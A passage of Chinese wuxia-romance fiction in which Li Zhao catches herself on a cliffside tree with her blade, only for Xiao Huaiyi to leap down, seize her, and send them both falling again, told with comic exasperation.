萧怀翊探身往下看去,崖底雾雨翻涌,再无其他声响,黎昭就这样消失在了无边的黑暗之中。
他脑袋轰地一下炸开,什么都顾不上了,毫不犹豫地跟着纵身跃下。
*
身体急速下坠,黎昭咬着牙,用尽全身力气将孤影刀死死抵住崖壁,刀尖擦着裸露的岩石一路火花四溅,最后卡在一棵横生出来的歪脖子树上。
下坠的势头骤止,身体悬在半空,颤颤巍巍地晃了两下。
呼,好险好险,还好挂住了。
黎昭松了口气。
她调整好姿势,手脚并用地蹬着树干,费了九牛二虎之力终于把自己挪到了树上。
还没来得及喘口气,头顶上方一道黑影从天而降,有人长臂一伸,将她捞进了一个宽广的怀抱。
黎昭:“?”
还没弄清楚发生了什么,那棵歪脖子老树便不堪重负地断了。
呼啸的风声再度席卷而来,不同的是,这一回她被人死死箍在怀中动弹不得,连挣扎得余地都没有。
黎昭憋屈得要命。
她真服了。
到底是谁!
这么恨她,宁可伤她一千自损八百也非要拉着她陪葬。